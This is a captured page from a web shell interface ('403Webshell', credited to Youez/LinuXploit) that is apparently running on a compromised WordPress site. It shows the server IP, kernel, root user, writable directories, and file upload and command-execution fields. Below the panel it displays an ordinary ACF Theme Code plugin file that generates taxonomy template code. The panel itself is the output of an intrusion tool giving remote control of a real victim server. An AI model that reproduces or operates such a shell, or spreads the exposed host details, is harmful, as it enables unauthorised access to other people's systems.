403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/harmoniegolfpark.com/wp-content/plugins/acf-theme-code/render/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/harmoniegolfpark.com/wp-content/plugins/acf-theme-code/render/taxonomy.php
<?php
// Taxonomy field

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

// Get return format and type
$return_format = isset( $this->settings['return_format'] ) ? $this->settings['return_format'] : '';
$taxonomy_field_type = isset( $this->settings['field_type'] ) ? $this->settings['field_type'] : '';

if ( $return_format == 'object' ) {

	// If field type is a single type
	if($taxonomy_field_type == 'select' || $taxonomy_field_type == 'radio') {
		echo $this->indent . htmlspecialchars("<?php \$".$this->name."_term = " . $this->get_field_method . "( '" . $this->name . "' ); ?>")."\n";
		echo $this->indent . htmlspecialchars("<?php if ( \$".$this->name."_term ): ?>")."\n";
		echo $this->indent . htmlspecialchars("	<?php echo \$".$this->name."_term->name; ?>")."\n";
		echo $this->indent . htmlspecialchars("<?php endif; ?>")."\n";

	}

	// If field type is a multiple type
	if($taxonomy_field_type == 'multi_select' || $taxonomy_field_type == 'checkbox') {
		echo $this->indent . htmlspecialchars("<?php \$".$this->name."_terms = " . $this->get_field_method . "( '" . $this->name . "' ); ?>" )."\n";
		echo $this->indent . htmlspecialchars("<?php if ( \$".$this->name."_terms ): ?>")."\n";
		echo $this->indent . htmlspecialchars("	<?php foreach ( \$".$this->name."_terms as \$".$this->name."_term ): ?>")."\n";
		echo $this->indent . htmlspecialchars("		<?php echo \$".$this->name."_term->name; ?>")."\n";
		echo $this->indent . htmlspecialchars("	<?php endforeach; ?>")."\n";
		echo $this->indent . htmlspecialchars("<?php endif; ?>")."\n";
	}
}


// if return format is an array of ids
if ( $return_format == 'id' ) {
	echo $this->indent . htmlspecialchars("<?php \$".$this->name."_ids = " . $this->get_field_method . "( '" . $this->name . "' ); ?>")."\n";
	echo $this->indent . htmlspecialchars("<?php // var_dump( \$".$this->name."_ids ); ?>")."\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit